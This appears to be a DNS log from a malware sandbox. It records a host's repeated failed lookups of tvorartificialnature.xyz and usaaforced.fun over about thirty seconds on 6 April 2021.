Apr 6, 2021 19:41:28.970267057 CEST	8.8.8.8	192.168.2.22	0xe107	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.153810024 CEST	8.8.8.8	192.168.2.22	0xe77f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.329525948 CEST	8.8.8.8	192.168.2.22	0x9ef6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.512191057 CEST	8.8.8.8	192.168.2.22	0x6e4d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.690114021 CEST	8.8.8.8	192.168.2.22	0x63e2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:29.867736101 CEST	8.8.8.8	192.168.2.22	0x145d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.033736944 CEST	8.8.8.8	192.168.2.22	0xc48f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.205564022 CEST	8.8.8.8	192.168.2.22	0x455d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.305358887 CEST	8.8.8.8	192.168.2.22	0x6ff7	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.377090931 CEST	8.8.8.8	192.168.2.22	0x4a17	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.542726040 CEST	8.8.8.8	192.168.2.22	0x9b74	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.715167046 CEST	8.8.8.8	192.168.2.22	0x36fb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:30.899075031 CEST	8.8.8.8	192.168.2.22	0x2886	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.064296007 CEST	8.8.8.8	192.168.2.22	0x32cb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.237112999 CEST	8.8.8.8	192.168.2.22	0x28ec	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.418737888 CEST	8.8.8.8	192.168.2.22	0xd6aa	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.588371992 CEST	8.8.8.8	192.168.2.22	0xd93b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.757790089 CEST	8.8.8.8	192.168.2.22	0x96f0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:31.933597088 CEST	8.8.8.8	192.168.2.22	0x2deb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.114207029 CEST	8.8.8.8	192.168.2.22	0x3618	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.281524897 CEST	8.8.8.8	192.168.2.22	0x6ab6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.453177929 CEST	8.8.8.8	192.168.2.22	0x739f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.622757912 CEST	8.8.8.8	192.168.2.22	0x65e1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.786103010 CEST	8.8.8.8	192.168.2.22	0x71	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.799969912 CEST	8.8.8.8	192.168.2.22	0xac3e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:32.980237007 CEST	8.8.8.8	192.168.2.22	0xc50e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.166429996 CEST	8.8.8.8	192.168.2.22	0xeaff	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.339102030 CEST	8.8.8.8	192.168.2.22	0x9124	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.512660980 CEST	8.8.8.8	192.168.2.22	0x8797	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.688714981 CEST	8.8.8.8	192.168.2.22	0x198c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:33.855844021 CEST	8.8.8.8	192.168.2.22	0x49ba	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.030927896 CEST	8.8.8.8	192.168.2.22	0x22ee	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.194778919 CEST	8.8.8.8	192.168.2.22	0xa823	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.366585970 CEST	8.8.8.8	192.168.2.22	0xccf3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.556585073 CEST	8.8.8.8	192.168.2.22	0xfa6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.740564108 CEST	8.8.8.8	192.168.2.22	0x3f2c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:34.917081118 CEST	8.8.8.8	192.168.2.22	0x1583	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.088488102 CEST	8.8.8.8	192.168.2.22	0xc42f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.255825996 CEST	8.8.8.8	192.168.2.22	0x1cfa	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.302534103 CEST	8.8.8.8	192.168.2.22	0x51c9	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.437612057 CEST	8.8.8.8	192.168.2.22	0x49e7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.605844021 CEST	8.8.8.8	192.168.2.22	0xbae6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.801588058 CEST	8.8.8.8	192.168.2.22	0x17cf	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:35.972089052 CEST	8.8.8.8	192.168.2.22	0xf516	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:36.164751053 CEST	8.8.8.8	192.168.2.22	0x80cf	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:36.338613033 CEST	8.8.8.8	192.168.2.22	0x18e7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:36.527681112 CEST	8.8.8.8	192.168.2.22	0x897c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:36.692081928 CEST	8.8.8.8	192.168.2.22	0x386a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:36.871439934 CEST	8.8.8.8	192.168.2.22	0x6c82	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.048079014 CEST	8.8.8.8	192.168.2.22	0x1ed	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.233102083 CEST	8.8.8.8	192.168.2.22	0xa6c7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.409459114 CEST	8.8.8.8	192.168.2.22	0xd02e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.587260962 CEST	8.8.8.8	192.168.2.22	0x5206	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.760617971 CEST	8.8.8.8	192.168.2.22	0x8d05	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.788378000 CEST	8.8.8.8	192.168.2.22	0xa2d6	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:37.932055950 CEST	8.8.8.8	192.168.2.22	0xfd53	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.106178045 CEST	8.8.8.8	192.168.2.22	0x1c19	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.283252954 CEST	8.8.8.8	192.168.2.22	0x9022	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.456840992 CEST	8.8.8.8	192.168.2.22	0x857b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.631264925 CEST	8.8.8.8	192.168.2.22	0x9839	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.814999104 CEST	8.8.8.8	192.168.2.22	0x7f25	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:38.991393089 CEST	8.8.8.8	192.168.2.22	0x61fd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:39.160224915 CEST	8.8.8.8	192.168.2.22	0x14ec	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:39.328655005 CEST	8.8.8.8	192.168.2.22	0x6a3c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:39.505119085 CEST	8.8.8.8	192.168.2.22	0x3bc6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:39.681328058 CEST	8.8.8.8	192.168.2.22	0x8f9e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:39.872447014 CEST	8.8.8.8	192.168.2.22	0xe696	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.047401905 CEST	8.8.8.8	192.168.2.22	0xe335	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.221375942 CEST	8.8.8.8	192.168.2.22	0x247e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.260011911 CEST	8.8.8.8	192.168.2.22	0x380d	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.408021927 CEST	8.8.8.8	192.168.2.22	0x62f9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.580286980 CEST	8.8.8.8	192.168.2.22	0xcabc	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.748850107 CEST	8.8.8.8	192.168.2.22	0x4d50	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:40.923472881 CEST	8.8.8.8	192.168.2.22	0x6bc6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.091536045 CEST	8.8.8.8	192.168.2.22	0x3137	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.268228054 CEST	8.8.8.8	192.168.2.22	0xbc67	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.436938047 CEST	8.8.8.8	192.168.2.22	0x85c0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.626425028 CEST	8.8.8.8	192.168.2.22	0x8d87	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.794784069 CEST	8.8.8.8	192.168.2.22	0xe64b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:41.967679024 CEST	8.8.8.8	192.168.2.22	0xf739	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.137511015 CEST	8.8.8.8	192.168.2.22	0xec1a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.314630985 CEST	8.8.8.8	192.168.2.22	0x21cb	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.508100033 CEST	8.8.8.8	192.168.2.22	0xfd68	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.681343079 CEST	8.8.8.8	192.168.2.22	0x12ce	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.746402979 CEST	8.8.8.8	192.168.2.22	0x3d88	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:42.860328913 CEST	8.8.8.8	192.168.2.22	0x985e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.034579992 CEST	8.8.8.8	192.168.2.22	0xe458	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.214178085 CEST	8.8.8.8	192.168.2.22	0x4957	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.393917084 CEST	8.8.8.8	192.168.2.22	0x4311	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.562627077 CEST	8.8.8.8	192.168.2.22	0x99f4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.732738972 CEST	8.8.8.8	192.168.2.22	0x5e66	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:43.921926022 CEST	8.8.8.8	192.168.2.22	0x6d5b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.094913006 CEST	8.8.8.8	192.168.2.22	0xde3d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.286686897 CEST	8.8.8.8	192.168.2.22	0x9319	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.471163988 CEST	8.8.8.8	192.168.2.22	0x62e1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.639509916 CEST	8.8.8.8	192.168.2.22	0x254d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:44.855942011 CEST	8.8.8.8	192.168.2.22	0xa1a0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.027236938 CEST	8.8.8.8	192.168.2.22	0xa2c5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.221409082 CEST	8.8.8.8	192.168.2.22	0xf6f	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.224248886 CEST	8.8.8.8	192.168.2.22	0xb1ee	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.392045021 CEST	8.8.8.8	192.168.2.22	0x1994	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.558146954 CEST	8.8.8.8	192.168.2.22	0x3d16	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.732664108 CEST	8.8.8.8	192.168.2.22	0xa9e0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:45.903023005 CEST	8.8.8.8	192.168.2.22	0xd24a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.084784985 CEST	8.8.8.8	192.168.2.22	0x4696	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.260916948 CEST	8.8.8.8	192.168.2.22	0x16f8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.437479019 CEST	8.8.8.8	192.168.2.22	0x5865	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.601507902 CEST	8.8.8.8	192.168.2.22	0x8a67	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.786478996 CEST	8.8.8.8	192.168.2.22	0x1541	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:46.964200974 CEST	8.8.8.8	192.168.2.22	0x4e2a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.137696028 CEST	8.8.8.8	192.168.2.22	0x669	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.306814909 CEST	8.8.8.8	192.168.2.22	0x3f2c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.485755920 CEST	8.8.8.8	192.168.2.22	0x20d0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.673639059 CEST	8.8.8.8	192.168.2.22	0x473a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.699937105 CEST	8.8.8.8	192.168.2.22	0x1ae3	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:47.862641096 CEST	8.8.8.8	192.168.2.22	0xf572	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.044635057 CEST	8.8.8.8	192.168.2.22	0x88e7	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.226362944 CEST	8.8.8.8	192.168.2.22	0x213c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.405257940 CEST	8.8.8.8	192.168.2.22	0x4a7e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.595441103 CEST	8.8.8.8	192.168.2.22	0x7753	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.770695925 CEST	8.8.8.8	192.168.2.22	0xdf4d	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:48.940303087 CEST	8.8.8.8	192.168.2.22	0x1dbd	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:49.175211906 CEST	8.8.8.8	192.168.2.22	0x1789	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:49.349123955 CEST	8.8.8.8	192.168.2.22	0xf1db	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:49.572314978 CEST	8.8.8.8	192.168.2.22	0x7d5e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:49.737044096 CEST	8.8.8.8	192.168.2.22	0x9332	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:49.909363985 CEST	8.8.8.8	192.168.2.22	0x1c77	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:50.155570984 CEST	8.8.8.8	192.168.2.22	0x6ad9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:50.332834959 CEST	8.8.8.8	192.168.2.22	0x86a3	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:50.522486925 CEST	8.8.8.8	192.168.2.22	0xfdc2	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:50.693538904 CEST	8.8.8.8	192.168.2.22	0x997a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:50.899645090 CEST	8.8.8.8	192.168.2.22	0x472e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.064778090 CEST	8.8.8.8	192.168.2.22	0x3fc9	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.240104914 CEST	8.8.8.8	192.168.2.22	0x3951	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.475505114 CEST	8.8.8.8	192.168.2.22	0x3392	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.661345005 CEST	8.8.8.8	192.168.2.22	0xf6d8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.846477985 CEST	8.8.8.8	192.168.2.22	0x29b8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:51.881046057 CEST	8.8.8.8	192.168.2.22	0x7b23	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.037919044 CEST	8.8.8.8	192.168.2.22	0xc4da	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.202106953 CEST	8.8.8.8	192.168.2.22	0x91f6	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.376697063 CEST	8.8.8.8	192.168.2.22	0x6275	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.550002098 CEST	8.8.8.8	192.168.2.22	0xcd8	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.727103949 CEST	8.8.8.8	192.168.2.22	0x7b20	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:52.914462090 CEST	8.8.8.8	192.168.2.22	0xd1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.107551098 CEST	8.8.8.8	192.168.2.22	0xa217	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.280740023 CEST	8.8.8.8	192.168.2.22	0x4bff	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.449280024 CEST	8.8.8.8	192.168.2.22	0x86b5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.625228882 CEST	8.8.8.8	192.168.2.22	0x8d4	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.806365967 CEST	8.8.8.8	192.168.2.22	0xab16	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:53.989464998 CEST	8.8.8.8	192.168.2.22	0xd5ca	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:54.149005890 CEST	8.8.8.8	192.168.2.22	0x9766	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:54.344547987 CEST	8.8.8.8	192.168.2.22	0x3795	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:54.522775888 CEST	8.8.8.8	192.168.2.22	0x6013	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:54.701044083 CEST	8.8.8.8	192.168.2.22	0x20be	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:54.893531084 CEST	8.8.8.8	192.168.2.22	0x8d78	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.065582037 CEST	8.8.8.8	192.168.2.22	0x80da	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.228740931 CEST	8.8.8.8	192.168.2.22	0x2b82	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.407466888 CEST	8.8.8.8	192.168.2.22	0xaf83	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.582575083 CEST	8.8.8.8	192.168.2.22	0x4235	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.765532970 CEST	8.8.8.8	192.168.2.22	0xfab5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.930464983 CEST	8.8.8.8	192.168.2.22	0xc21c	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:55.952996016 CEST	8.8.8.8	192.168.2.22	0x43a	Name error (3)	usaaforced.fun	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.114056110 CEST	8.8.8.8	192.168.2.22	0xdcf1	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.292602062 CEST	8.8.8.8	192.168.2.22	0x275a	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.469338894 CEST	8.8.8.8	192.168.2.22	0x2e8e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.644510984 CEST	8.8.8.8	192.168.2.22	0x68aa	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:56.834665060 CEST	8.8.8.8	192.168.2.22	0x5526	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.016884089 CEST	8.8.8.8	192.168.2.22	0x3b73	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.218380928 CEST	8.8.8.8	192.168.2.22	0x33b5	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.389307022 CEST	8.8.8.8	192.168.2.22	0xad2e	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.555474997 CEST	8.8.8.8	192.168.2.22	0x544b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.740127087 CEST	8.8.8.8	192.168.2.22	0x5ee0	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:57.922480106 CEST	8.8.8.8	192.168.2.22	0xde74	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:58.120232105 CEST	8.8.8.8	192.168.2.22	0x7cef	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 19:41:58.289894104 CEST	8.8.8.8	192.168.2.22	0xe83b	Name error (3)	tvorartificialnature.xyz	none	none	A (IP address)	IN (0x0001)
